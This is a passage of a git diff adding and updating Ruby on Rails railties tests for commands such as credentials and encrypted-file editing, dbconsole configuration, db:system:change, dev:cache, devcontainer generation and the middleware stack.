+      switch_env("VISUAL", visual) do
+        switch_env("EDITOR", editor) do
+          args = environment ? ["--environment", environment] : []
+          rails "credentials:edit", args, **options
+        end
+      end
+    end
+
+    def run_show_command(environment: nil, **options)
+      args = environment ? ["--environment", environment] : []
+      rails "credentials:show", args, **options
+    end
+
+    def run_diff_command(path = nil, enroll: nil, disenroll: nil, **options)
+      args = [path, ("--enroll" if enroll), ("--disenroll" if disenroll)].compact
+      rails "credentials:diff", args, **options
+    end
+
+    def run_fetch_command(path, **options)
+      rails "credentials:fetch", path, **options
+    end
+
+    def write_credentials(content, **options)
+      switch_env("CONTENT", content) do
+        run_edit_command(visual: %(ruby -e "File.write ARGV[0], ENV['CONTENT']"), **options)
+      end
+    end
+
+    def assert_credentials_paths(content_path, key_path, environment: nil)
+      content = "foo: #{content_path}"
+      remove_file content_path
+      remove_file key_path
+
+      assert_match "Editing #{content_path}", write_credentials(content, environment: environment)
+      assert_file content_path
+      assert_file key_path
+
+      assert_match content, run_show_command(environment: environment)
+
+      # Decrypted diffs apply to credentials files in standard locations only.
+      if %r"config/credentials(?:/.*)?\.yml\.enc$".match?(content_path)
+        assert_match content, run_diff_command(content_path)
+      end
+    end
+
+    def read_file(relative)
+      File.read(app_path(relative))
+    end
+
+    def assert_file(relative)
+      assert File.exist?(app_path(relative)), "Expected file #{relative.inspect} to exist, but it does not"
+    end
+
+    def assert_no_file(relative)
+      assert_not File.exist?(app_path(relative)), "Expected file #{relative.inspect} to not exist, but it does"
+    end
+end
diff --git a/railties/test/commands/db_system_change_test.rb b/railties/test/commands/db_system_change_test.rb
new file mode 100644
index 0000000000000..0f027a6d236e3
--- /dev/null
+++ b/railties/test/commands/db_system_change_test.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::DbSystemChangeTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  setup { build_app }
+
+  teardown { teardown_app }
+
+  test "change to existing database" do
+    change_database(to: "sqlite3")
+
+    output = change_database(to: "sqlite3")
+
+    assert_match "identical  config/database.yml", output
+    assert_match "gsub  Gemfile", output
+  end
+
+  test "change to invalid database" do
+    output = change_database(to: "invalid-db")
+
+    assert_match <<~MSG.squish, output
+      Invalid value for --to option.
+      Supported preconfigurations are:
+      mysql, trilogy, postgresql, sqlite3, mariadb-mysql, mariadb-trilogy.
+    MSG
+  end
+
+  test "change to postgresql" do
+    output = change_database(to: "postgresql")
+
+    assert_match "force  config/database.yml", output
+    assert_match "gsub  Gemfile", output
+  end
+
+  test "change to mysql" do
+    output = change_database(to: "mysql")
+
+    assert_match "force  config/database.yml", output
+    assert_match "gsub  Gemfile", output
+  end
+
+  test "change to sqlite3" do
+    change_database(to: "postgresql")
+    output = change_database(to: "sqlite3")
+
+    assert_match "force  config/database.yml", output
+    assert_match "gsub  Gemfile", output
+  end
+
+  test "change can be forced" do
+    output = `cd #{app_path}; bin/rails db:system:change --to=postgresql --force`
+
+    assert_match "force  config/database.yml", output
+    assert_match "gsub  Gemfile", output
+  end
+
+  test "change works with no Dockerfile" do
+    remove_file("Dockerfile")
+
+    output = change_database(to: "sqlite3")
+
+    assert_match "gsub  Gemfile", output
+  end
+
+  private
+    def change_database(to:, **options)
+      args = ["--to", to]
+      rails "db:system:change", args, **options
+    end
+end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
index 0f8c5dbb797d5..168a2328f9643 100644
--- a/railties/test/commands/dbconsole_test.rb
+++ b/railties/test/commands/dbconsole_test.rb
@@ -1,16 +1,23 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "minitest/mock"
 require "rails/command"
 require "rails/commands/dbconsole/dbconsole_command"
+require "active_record/database_configurations"
+require "active_support/testing/method_call_assertions"
+require "active_record/connection_adapters/sqlite3_adapter"
 
 class Rails::DBConsoleTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
   def setup
     Rails::DBConsole.const_set("APP_PATH", "rails/all")
   end
 
   def teardown
     Rails::DBConsole.send(:remove_const, "APP_PATH")
-    %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each { |key| ENV.delete(key) }
+    %w[DATABASE_URL].each { |key| ENV.delete(key) }
   end
 
   def test_config_with_db_config_only
@@ -22,58 +29,58 @@ def test_config_with_db_config_only
         "database" => "foo_test",
         "user" => "foo",
         "password" => "bar",
-        "pool" => "5",
+        "max_connections" => "5",
         "timeout" => "3000"
       }
     }
     app_db_config(config_sample) do
-      assert_equal config_sample["test"], Rails::DBConsole.new.config
+      assert_equal config_sample["test"].symbolize_keys, Rails::DBConsole.new.db_config.configuration_hash
     end
   end
 
   def test_config_with_no_db_config
     app_db_config(nil) do
       assert_raise(ActiveRecord::AdapterNotSpecified) {
-        Rails::DBConsole.new.config
+        Rails::DBConsole.new.db_config.configuration_hash
       }
     end
   end
 
   def test_config_with_database_url_only
-    ENV["DATABASE_URL"] = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+    ENV["DATABASE_URL"] = "postgresql://foo:bar@localhost:9000/foo_test?max_connections=5&timeout=3000"
     expected = {
-      "adapter"  => "postgresql",
-      "host"     => "localhost",
-      "port"     => 9000,
-      "database" => "foo_test",
-      "username" => "foo",
-      "password" => "bar",
-      "pool"     => "5",
-      "timeout"  => "3000"
+      adapter:         "postgresql",
+      host:            "localhost",
+      port:            9000,
+      database:        "foo_test",
+      username:        "foo",
+      password:        "bar",
+      max_connections: "5",
+      timeout:         "3000"
     }.sort
 
     app_db_config(nil) do
-      assert_equal expected, Rails::DBConsole.new.config.sort
+      assert_equal expected, Rails::DBConsole.new.db_config.configuration_hash.sort
     end
   end
 
   def test_config_choose_database_url_if_exists
     host = "database-url-host.com"
-    ENV["DATABASE_URL"] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+    ENV["DATABASE_URL"] = "postgresql://foo:bar@#{host}:9000/foo_test?max_connections=5&timeout=3000"
     sample_config = {
       "test" => {
-        "adapter"  => "postgresql",
-        "host"     => "not-the-#{host}",
-        "port"     => 9000,
-        "database" => "foo_test",
-        "username" => "foo",
-        "password" => "bar",
-        "pool"     => "5",
-        "timeout"  => "3000"
+        "adapter"         => "postgresql",
+        "host"            => "not-the-#{host}",
+        "port"            => 9000,
+        "database"        => "foo_test",
+        "username"        => "foo",
+        "password"        => "bar",
+        "max_connections" => "5",
+        "timeout"         => "3000"
       }
     }
     app_db_config(sample_config) do
-      assert_equal host, Rails::DBConsole.new.config["host"]
+      assert_equal host, Rails::DBConsole.new.db_config.configuration_hash[:host]
     end
   end
 
@@ -97,149 +104,116 @@ def test_env
     ENV["RACK_ENV"] = nil
   end
 
-  def test_rails_env_is_development_when_argument_is_dev
+  def test_rails_env_is_development_when_environment_option_is_dev
     stub_available_environments([ "development", "test" ]) do
-      assert_match("development", parse_arguments([ "dev" ])[:environment])
+      assert_match("development", parse_arguments([ "-e", "dev" ])[:environment])
     end
   end
 
-  def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
-    stub_available_environments([ "dev" ]) do
-      assert_match("dev", parse_arguments([ "dev" ])[:environment])
+  def test_start
+    assert_called_with(ActiveRecord::ConnectionAdapters::SQLite3Adapter, :exec, [/sqlite3/, /db\.sqlite3/]) do
+      start(adapter: "sqlite3", database: "db.sqlite3")
     end
+    assert_not aborted
   end
 
-  def test_mysql
-    start(adapter: "mysql2", database: "db")
-    assert !aborted
-    assert_equal [%w[mysql mysql5], "db"], dbconsole.find_cmd_and_exec_args
-  end
-
-  def test_mysql_full
-    start(adapter: "mysql2", database: "db", host: "locahost", port: 1234, socket: "socket", username: "user", password: "qwerty", encoding: "UTF-8")
-    assert !aborted
-    assert_equal [%w[mysql mysql5], "--host=locahost", "--port=1234", "--socket=socket", "--user=user", "--default-character-set=UTF-8", "-p", "db"], dbconsole.find_cmd_and_exec_args
+  def test_unknown_command_line_client
+    start(adapter: "unknown", database: "db")
+    assert aborted
+    assert_match(/Database configuration specifies nonexistent 'unknown' adapter/, output)
   end
 
-  def test_mysql_include_password
-    start({ adapter: "mysql2", database: "db", username: "user", password: "qwerty" }, ["-p"])
-    assert !aborted
-    assert_equal [%w[mysql mysql5], "--user=user", "--password=qwerty", "db"], dbconsole.find_cmd_and_exec_args
-  end
+  def test_primary_is_automatically_picked_with_3_level_configuration
+    sample_config = {
+      "test" => {
+        "primary" => {
+          "adapter" => "postgresql"
+        }
+      }
+    }
 
-  def test_postgresql
-    start(adapter: "postgresql", database: "db")
-    assert !aborted
-    assert_equal ["psql", "db"], dbconsole.find_cmd_and_exec_args
+    app_db_config(sample_config) do
+      assert_equal "postgresql", Rails::DBConsole.new.db_config.configuration_hash[:adapter]
+    end
   end
 
-  def test_postgresql_full
-    start(adapter: "postgresql", database: "db", username: "user", password: "q1w2e3", host: "host", port: 5432)
-    assert !aborted
-    assert_equal ["psql", "db"], dbconsole.find_cmd_and_exec_args
-    assert_equal "user", ENV["PGUSER"]
-    assert_equal "host", ENV["PGHOST"]
-    assert_equal "5432", ENV["PGPORT"]
-    assert_not_equal "q1w2e3", ENV["PGPASSWORD"]
-  end
+  def test_specifying_a_custom_database_and_environment
+    stub_available_environments(["development"]) do
+      dbconsole = parse_arguments(["--db", "custom", "-e", "development"])
 
-  def test_postgresql_include_password
-    start({ adapter: "postgresql", database: "db", username: "user", password: "q1w2e3" }, ["-p"])
-    assert !aborted
-    assert_equal ["psql", "db"], dbconsole.find_cmd_and_exec_args
-    assert_equal "user", ENV["PGUSER"]
-    assert_equal "q1w2e3", ENV["PGPASSWORD"]
+      assert_equal "development", dbconsole[:environment]
+      assert_equal "custom", dbconsole.database
+    end
   end
 
-  def test_sqlite3
-    start(adapter: "sqlite3", database: "db.sqlite3")
-    assert !aborted
-    assert_equal ["sqlite3", Rails.root.join("db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
-  end
+  def test_specifying_a_replica_database
+    options = {
+      database: "primary_replica",
+    }
 
-  def test_sqlite3_mode
-    start({ adapter: "sqlite3", database: "db.sqlite3" }, ["--mode", "html"])
-    assert !aborted
-    assert_equal ["sqlite3", "-html", Rails.root.join("db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
-  end
+    sample_config = {
+      "test" => {
+        "primary" => { "adapter" => "sqlite3" },
+        "primary_replica" => {
+          "adapter" => "sqlite3",
+          "replica" => true,
+        }
+      }
+    }
 
-  def test_sqlite3_header
-    start({ adapter: "sqlite3", database: "db.sqlite3" }, ["--header"])
-    assert_equal ["sqlite3", "-header", Rails.root.join("db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
+    app_db_config(sample_config) do
+      assert_equal "primary_replica", Rails::DBConsole.new(options).db_config.name
+    end
   end
 
-  def test_sqlite3_db_absolute_path
-    start(adapter: "sqlite3", database: "/tmp/db.sqlite3")
-    assert !aborted
-    assert_equal ["sqlite3", "/tmp/db.sqlite3"], dbconsole.find_cmd_and_exec_args
-  end
+  def test_specifying_a_missing_database
+    app_db_config({}) do
+      e = assert_raises(ActiveRecord::AdapterNotSpecified) do
+        Rails::Command.invoke(:dbconsole, ["--db", "i_do_not_exist"])
+      end
 
-  def test_sqlite3_db_without_defined_rails_root
-    Rails.stub(:respond_to?, false) do
-      start(adapter: "sqlite3", database: "config/db.sqlite3")
-      assert !aborted
-      assert_equal ["sqlite3", Rails.root.join("../config/db.sqlite3").to_s], dbconsole.find_cmd_and_exec_args
+      assert_includes e.message, "'i_do_not_exist' database is not configured for 'test'."
     end
   end
 
-  def test_oracle
-    start(adapter: "oracle", database: "db", username: "user", password: "secret")
-    assert !aborted
-    assert_equal ["sqlplus", "user@db"], dbconsole.find_cmd_and_exec_args
-  end
-
-  def test_oracle_include_password
-    start({ adapter: "oracle", database: "db", username: "user", password: "secret" }, ["-p"])
-    assert !aborted
-    assert_equal ["sqlplus", "user/secret@db"], dbconsole.find_cmd_and_exec_args
-  end
+  def test_specifying_a_missing_environment
+    app_db_config({}) do
+      e = assert_raises(ActiveRecord::AdapterNotSpecified) do
+        Rails::Command.invoke(:dbconsole)
+      end
 
-  def test_unknown_command_line_client
-    start(adapter: "unknown", database: "db")
-    assert aborted
-    assert_match(/Unknown command-line client for db/, output)
+      assert_includes e.message, "No databases are configured for 'test'."
+    end
   end
 
   def test_print_help_short
     stdout = capture(:stdout) do
       Rails::Command.invoke(:dbconsole, ["-h"])
     end
-    assert_match(/bin\/rails dbconsole \[environment\]/, stdout)
+    assert_match %r"bin/rails dbconsole", stdout
   end
 
   def test_print_help_long
     stdout = capture(:stdout) do
       Rails::Command.invoke(:dbconsole, ["--help"])
     end
-    assert_match(/bin\/rails dbconsole \[environment\]/, stdout)
+    assert_match %r"bin/rails dbconsole", stdout
   end
 
   attr_reader :aborted, :output
   private :aborted, :output
 
   private
-
-    def app_db_config(results)
-      Rails.application.config.stub(:database_configuration, results || {}) do
-        yield
-      end
-    end
-
-    def make_dbconsole
-      Class.new(Rails::DBConsole) do
-        attr_reader :find_cmd_and_exec_args
-
-        def find_cmd_and_exec(*args)
-          @find_cmd_and_exec_args = args
-        end
-      end
+    def app_db_config(results, &block)
+      Rails.application.config.stub(:database_configuration, results || {}, &block)
     end
 
     attr_reader :dbconsole
 
     def start(config = {}, argv = [])
-      @dbconsole = make_dbconsole.new(parse_arguments(argv))
-      @dbconsole.stub(:config, config.stringify_keys) do
+      @dbconsole = Rails::DBConsole.new(parse_arguments(argv))
+      hash_config = nil
+      @dbconsole.stub(:db_config, -> { hash_config ||= ActiveRecord::DatabaseConfigurations::HashConfig.new("test", "primary", config) }) do
         capture_abort { @dbconsole.start }
       end
     end
@@ -247,11 +221,9 @@ def start(config = {}, argv = [])
     def capture_abort
       @aborted = false
       @output = capture(:stderr) do
-        begin
-          yield
-        rescue SystemExit
-          @aborted = true
-        end
+        yield
+      rescue SystemExit
+        @aborted = true
       end
     end
 
@@ -274,21 +246,6 @@ def stub_available_environments(environments)
     end
 
     def parse_arguments(args)
-      Rails::Command::DbconsoleCommand.class_eval do
-        alias_method :old_perform, :perform
-        define_method(:perform) do
-          extract_environment_option_from_argument
-
-          options
-        end
-      end
-
-      Rails::Command.invoke(:dbconsole, args)
-    ensure
-      Rails::Command::DbconsoleCommand.class_eval do
-        undef_method :perform
-        alias_method :perform, :old_perform
-        undef_method :old_perform
-      end
+      Rails::Command::DbconsoleCommand.new([], args).options
     end
 end
diff --git a/railties/test/commands/dev_test.rb b/railties/test/commands/dev_test.rb
new file mode 100644
index 0000000000000..b3bc669c74061
--- /dev/null
+++ b/railties/test/commands/dev_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::DevTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "`bin/rails dev:cache` creates both caching and restart file when restart file doesn't exist and dev caching is currently off" do
+    Dir.chdir(app_path) do
+      assert_not File.exist?("tmp/caching-dev.txt")
+      assert_not File.exist?("tmp/restart.txt")
+
+      assert_equal <<~OUTPUT, run_dev_cache_command
+        Action Controller caching enabled for development mode.
+      OUTPUT
+
+      assert File.exist?("tmp/caching-dev.txt")
+      assert File.exist?("tmp/restart.txt")
+    end
+  end
+
+  test "`bin/rails dev:cache` creates caching file and touches restart file when dev caching is currently off" do
+    Dir.chdir(app_path) do
+      app_file("tmp/restart.txt", "")
+
+      assert_not File.exist?("tmp/caching-dev.txt")
+      assert File.exist?("tmp/restart.txt")
+      restart_file_time_before = File.mtime("tmp/restart.txt")
+
+      assert_equal <<~OUTPUT, run_dev_cache_command
+        Action Controller caching enabled for development mode.
+      OUTPUT
+
+      assert File.exist?("tmp/caching-dev.txt")
+      restart_file_time_after = File.mtime("tmp/restart.txt")
+      assert_operator restart_file_time_before, :<, restart_file_time_after
+    end
+  end
+
+  test "`bin/rails dev:cache` removes caching file and touches restart file when dev caching is currently on" do
+    Dir.chdir(app_path) do
+      app_file("tmp/caching-dev.txt", "")
+      app_file("tmp/restart.txt", "")
+
+      assert File.exist?("tmp/caching-dev.txt")
+      assert File.exist?("tmp/restart.txt")
+      restart_file_time_before = File.mtime("tmp/restart.txt")
+
+      assert_equal <<~OUTPUT, run_dev_cache_command
+        Action Controller caching disabled for development mode.
+      OUTPUT
+
+      assert_not File.exist?("tmp/caching-dev.txt")
+      restart_file_time_after = File.mtime("tmp/restart.txt")
+      assert_operator restart_file_time_before, :<, restart_file_time_after
+    end
+  end
+
+  private
+    def run_dev_cache_command
+      rails "dev:cache"
+    end
+end
diff --git a/railties/test/commands/devcontainer_test.rb b/railties/test/commands/devcontainer_test.rb
new file mode 100644
index 0000000000000..05104e8275ad2
--- /dev/null
+++ b/railties/test/commands/devcontainer_test.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::DevcontainerTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  teardown { teardown_app }
+
+  test "generates devcontainer for default app with solid gems" do
+    build_app
+
+    require "solid_cable"
+    require "solid_queue"
+
+    app_file "test/application_system_test_case.rb", <<~RUBY
+      require "test_helper"
+
+      class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+        driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+      end
+    RUBY
+
+    output = rails "devcontainer"
+
+    assert_match "app_name: app_template", output
+    assert_match "database: sqlite3", output
+    assert_match "active_storage: true", output
+    assert_match "redis: false", output
+    assert_match "system_test: true", output
+    assert_match "node: false", output
+    assert_match "kamal: false", output
+
+    assert_compose_file do |content|
+      assert_equal "app_template", content["name"]
+
+      expected_rails_app_config = {
+        "build" => {
+          "context" => "..",
+          "dockerfile" => ".devcontainer/Dockerfile"
+        },
+        "volumes" => ["../../app:/workspaces/app:cached"],
+        "command" => "sleep infinity",
+        "depends_on" => ["selenium"]
+      }
+
+      assert_equal expected_rails_app_config, content["services"]["rails-app"]
+
+      expected_selenium_config = {
+        "image" => "selenium/standalone-chromium",
+        "restart" => "unless-stopped",
+      }
+
+      assert_equal expected_selenium_config, content["services"]["selenium"]
+    end
+  end
+
+  test "generates dev container for without solid gems" do
+    build_app
+
+    output = rails "devcontainer"
+
+    assert_match "redis: true", output
+  end
+
+  test "generates dev container for using mysql2 app" do
+    build_app
+
+    Dir.chdir(app_path) do
+      use_mysql2
+
+      output = rails "devcontainer"
+
+      assert_match "database: mysql", output
+
+      assert_match "ghcr.io/rails/devcontainer/features/mysql-client", read_file(".devcontainer/devcontainer.json")
+    end
+  end
+
+  private
+    def read_file(relative)
+      File.read(app_path(relative))
+    end
+
+    def assert_compose_file
+      content = read_file(".devcontainer/compose.yaml")
+      yield YAML.load(content)
+    end
+end
diff --git a/railties/test/commands/encrypted_test.rb b/railties/test/commands/encrypted_test.rb
new file mode 100644
index 0000000000000..0148b098f4066
--- /dev/null
+++ b/railties/test/commands/encrypted_test.rb
@@ -0,0 +1,182 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "env_helpers"
+require "rails/command"
+
+class Rails::Command::EncryptedTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation, EnvHelpers
+
+  setup :build_app
+  teardown :teardown_app
+
+  setup do
+    @encrypted_file = "config/tokens.yml.enc"
+  end
+
+  test "edit without visual or editor gives hint" do
+    run_edit_command(visual: "", editor: "").tap do |output|
+      assert_match "No $VISUAL or $EDITOR to open file in", output
+      assert_match "rails encrypted:edit", output
+    end
+  end
+
+  test "edit with visual but not editor does not give hint" do
+    run_edit_command(visual: "cat", editor: "").tap do |output|
+      assert_no_match "No $VISUAL or $EDITOR to open file in", output
+    end
+  end
+
+  test "edit with editor but not visual does not give hint" do
+    run_edit_command(visual: "", editor: "cat").tap do |output|
+      assert_no_match "No $VISUAL or $EDITOR to open file in", output
+    end
+  end
+
+  test "edit encrypted file" do
+    # Run twice to ensure file can be reread after first edit pass.
+    2.times do
+      assert_match(/access_key_id: 123/, run_edit_command)
+    end
+  end
+
+  test "edit command adds master key" do
+    remove_file "config/master.key"
+    app_file ".gitignore", ""
+    run_edit_command
+
+    assert_file "config/master.key"
+    assert_match "config/*.key", read_file(".gitignore")
+  end
+
+  test "edit command does not overwrite master key file if it already exists" do
+    master_key = read_file("config/master.key")
+    run_edit_command
+
+    assert_equal master_key, read_file("config/master.key")
+  end
+
+  test "edit command does not add duplicate master key entries to gitignore" do
+    2.times { run_edit_command }
+    assert_equal 1, read_file(".gitignore").scan("/config/*.key").length
+  end
+
+  test "edit command can add master key when require_master_key is true" do
+    remove_file "config/master.key"
+    add_to_config "config.require_master_key = true"
+
+    assert_nothing_raised { run_edit_command }
+    assert_file "config/master.key"
+  end
+
+  test "edit command does not add master key when `RAILS_MASTER_KEY` env specified" do
+    master_key = read_file("config/master.key")
+    remove_file "config/master.key"
+    app_file ".gitignore", ""
+
+    switch_env("RAILS_MASTER_KEY", master_key) do
+      run_edit_command
+      assert_no_file "config/master.key"
+      assert_no_match "config/master.key", read_file(".gitignore")
+    end
+  end
+
+  test "edit encrypts file with custom key" do
+    run_edit_command(key: "config/tokens.key")
+
+    Dir.chdir(app_path) do
+      assert File.exist?("config/tokens.key")
+      assert_match "/config/*.key", File.read(".gitignore")
+    end
+
+    assert_match(/access_key_id: 123/, run_edit_command(key: "config/tokens.key"))
+  end
+
+  test "edit command does not display save confirmation message if interrupted" do
+    assert_match %r/file encrypted and saved/i, run_edit_command
+
+    interrupt_command_process = %(ruby -e "Process.kill 'INT', Process.ppid")
+    output = run_edit_command(visual: interrupt_command_process)
+
+    assert_no_match %r/file encrypted and saved/i, output
+    assert_match %r/nothing saved/i, output
+  end
+
+  test "edit command preserves user's content even if it contains invalid YAML" do
+    write_invalid_yaml = %(ruby -e "File.write ARGV[0], 'foo: bar: bad'")
+
+    assert_match %r/WARNING: Invalid YAML/, run_edit_command(visual: write_invalid_yaml)
+    assert_match %r/foo: bar: bad/, run_edit_command
+  end
+
+
+  test "show encrypted file with custom key" do
+    run_edit_command(key: "config/tokens.key")
+
+    assert_match(/access_key_id: 123/, run_show_command(key: "config/tokens.key"))
+  end
+
+  test "show command raise error when require_master_key is specified and key does not exist" do
+    add_to_config "config.require_master_key = true"
+
+    assert_match(/Missing encryption key to decrypt file with/,
+      run_show_command(key: "unexist.key", allow_failure: true))
+  end
+
+  test "show command does not raise error when require_master_key is false and master key does not exist" do
+    remove_file "config/master.key"
+    add_to_config "config.require_master_key = false"
+
+    assert_match(/Missing 'config\/master\.key' to decrypt data/, run_show_command)
+  end
+
+  test "won't corrupt encrypted file when passed wrong key" do
+    run_edit_command(key: "config/tokens.key")
+
+    assert_match "passed the wrong key",
+      run_edit_command(allow_failure: true)
+
+    assert_match(/access_key_id: 123/, run_show_command(key: "config/tokens.key"))
+  end
+
+  test "show command does not raise when an initializer tries to access non-existent credentials" do
+    app_file "config/initializers/raise_when_loaded.rb", <<-RUBY
+      Rails.application.credentials.missing_key!
+    RUBY
+
+    run_edit_command(key: "config/tokens.key")
+
+    assert_match(/access_key_id: 123/, run_show_command(key: "config/tokens.key"))
+  end
+
+  private
+    def run_edit_command(file = @encrypted_file, key: nil, visual: "cat", editor: "cat", **options)
+      switch_env("VISUAL", visual) do
+        switch_env("EDITOR", editor) do
+          rails "encrypted:edit", prepare_args(file, key), **options
+        end
+      end
+    end
+
+    def run_show_command(file = @encrypted_file, key: nil, **options)
+      rails "encrypted:show", prepare_args(file, key), **options
+    end
+
+    def prepare_args(file, key)
+      args = [ file ]
+      args.push("--key", key) if key
+      args
+    end
+
+    def read_file(relative)
+      File.read(app_path(relative))
+    end
+
+    def assert_file(relative)
+      assert File.exist?(app_path(relative)), "Expected file #{relative.inspect} to exist, but it does not"
+    end
+
+    def assert_no_file(relative)
+      assert_not File.exist?(app_path(relative)), "Expected file #{relative.inspect} to not exist, but it does"
+    end
+end
diff --git a/railties/test/commands/initializers_test.rb b/railties/test/commands/initializers_test.rb
new file mode 100644
index 0000000000000..277e8028d2436
--- /dev/null
+++ b/railties/test/commands/initializers_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::InitializersTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "`rails initializers` prints out defined initializers invoked by Rails" do
+    initial_output = run_initializers_command
+    initial_output_length = initial_output.split("\n").length
+
+    assert_operator initial_output_length, :>, 0
+    assert_not initial_output.include?("set_added_test_module")
+
+    add_to_config <<-RUBY
+      initializer(:set_added_test_module) { }
+    RUBY
+
+    final_output = run_initializers_command
+    final_output_length = final_output.split("\n").length
+
+    assert_equal 1, (final_output_length - initial_output_length)
+    assert final_output.include?("set_added_test_module")
+  end
+
+  test "prints out initializers only specified in environment option" do
+    add_to_config <<-RUBY
+      initializer(:set_added_development_module) { } if Rails.env.development?
+      initializer(:set_added_production_module) { } if Rails.env.production?
+    RUBY
+
+    output = run_initializers_command.split("\n")
+    assert_includes output, "AppTemplate::Application.set_added_development_module"
+    assert_not_includes output, "AppTemplate::Application.set_added_production_module"
+
+    output = run_initializers_command(["-e", "production"]).split("\n")
+    assert_not_includes output, "AppTemplate::Application.set_added_development_module"
+    assert_includes output, "AppTemplate::Application.set_added_production_module"
+  end
+
+  private
+    def run_initializers_command(args = [])
+      rails "initializers", args
+    end
+end
diff --git a/railties/test/commands/middleware_test.rb b/railties/test/commands/middleware_test.rb
new file mode 100644
index 0000000000000..c7a3fc613e163
--- /dev/null
+++ b/railties/test/commands/middleware_test.rb
@@ -0,0 +1,440 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::MiddlewareTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+    FileUtils.rm_rf "#{app_path}/config/environments"
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  def app
+    @app ||= Rails.application
+  end
+
+  test "default middleware stack" do
+    add_to_config "config.active_record.migration_error = :page_load"
+    add_to_config "config.server_timing = true"
+
+    boot!
+
+    assert_equal [
+      "ActionDispatch::HostAuthorization",
+      "Rack::Sendfile",
+      "ActionDispatch::Static",
+      "Propshaft::Server",
+      "ActionDispatch::Executor",
+      "ActionDispatch::ServerTiming",
+      "ActiveSupport::Cache::Strategy::LocalCache",
+      "Rack::Runtime",
+      "Rack::MethodOverride",
+      "ActionDispatch::RequestId",
+      "ActionDispatch::RemoteIp",
+      "Rails::Rack::Logger",
+      "ActionDispatch::ShowExceptions",
+      "ActionDispatch::DebugExceptions",
+      "ActionDispatch::Reloader",
+      "ActionDispatch::Callbacks",
+      "ActiveRecord::Migration::CheckPending",
+      "ActionDispatch::Cookies",
+      "ActionDispatch::Session::CookieStore",
+      "ActionDispatch::Flash",
+      "ActionDispatch::ContentSecurityPolicy::Middleware",
+      "Rack::Head",
+      "Rack::ConditionalGet",
+      "Rack::ETag",
+      "Rack::TempfileReaper"
+    ], middleware
+  end
+
+  test "default middleware stack when requests are local" do
+    add_to_config "config.consider_all_requests_local = true"
+    add_to_config "config.active_record.migration_error = :page_load"
+    add_to_config "config.server_timing = true"
+
+    boot!
+
+    assert_equal [
+      "ActionDispatch::HostAuthorization",
+      "Rack::Sendfile",
+      "ActionDispatch::Static",
+      "Propshaft::Server",
+      "ActionDispatch::Executor",
+      "ActionDispatch::ServerTiming",
+      "ActiveSupport::Cache::Strategy::LocalCache",
+      "Rack::Runtime",
+      "Rack::MethodOverride",
+      "ActionDispatch::RequestId",
+      "ActionDispatch::RemoteIp",
+      "Rails::Rack::Logger",
+      "ActionDispatch::ShowExceptions",
+      "ActionDispatch::DebugExceptions",
+      "ActionDispatch::ActionableExceptions",
+      "ActionDispatch::Reloader",
+      "ActionDispatch::Callbacks",
+      "ActiveRecord::Migration::CheckPending",
+      "ActionDispatch::Cookies",
+      "ActionDispatch::Session::CookieStore",
+      "ActionDispatch::Flash",
+      "ActionDispatch::ContentSecurityPolicy::Middleware",
+      "Rack::Head",
+      "Rack::ConditionalGet",
+      "Rack::ETag",
+      "Rack::TempfileReaper"
+    ], middleware
+  end
+
+  test "api middleware stack" do
+    add_to_config "config.api_only = true"
+
+    boot!
+
+    assert_equal [
+      "ActionDispatch::HostAuthorization",
+      "Rack::Sendfile",
+      "ActionDispatch::Static",
+      "Propshaft::Server",
+      "ActionDispatch::Executor",
+      "ActiveSupport::Cache::Strategy::LocalCache",
+      "Rack::Runtime",
+      "ActionDispatch::RequestId",
+      "ActionDispatch::RemoteIp",
+      "Rails::Rack::Logger",
+      "ActionDispatch::ShowExceptions",
+      "ActionDispatch::DebugExceptions",
+      "ActionDispatch::Reloader",
+      "ActionDispatch::Callbacks",
+      "Rack::Head",
+      "Rack::ConditionalGet",
+      "Rack::ETag"
+    ], middleware
+  end
+
+  test "middleware dependencies" do
+    boot!
+
+    # The following array-of-arrays describes dependencies between
+    # middlewares: the first item in each list depends on the
+    # remaining items (and therefore must occur later in the
+    # middleware stack).
+
+    dependencies = [
+      # Logger needs a fully "corrected" request environment
+      %w(Rails::Rack::Logger Rack::MethodOverride ActionDispatch::RequestId ActionDispatch::RemoteIp),
+
+      # Serving public/ doesn't invoke user code, so it should skip
+      # locks etc
+      %w(ActionDispatch::Executor ActionDispatch::Static),
+
+      # Errors during reload must be reported
+      %w(ActionDispatch::Reloader ActionDispatch::ShowExceptions ActionDispatch::DebugExceptions),
+
+      # Outright dependencies
+      %w(ActionDispatch::Static Rack::Sendfile),
+      %w(ActionDispatch::Flash ActionDispatch::Session::CookieStore),
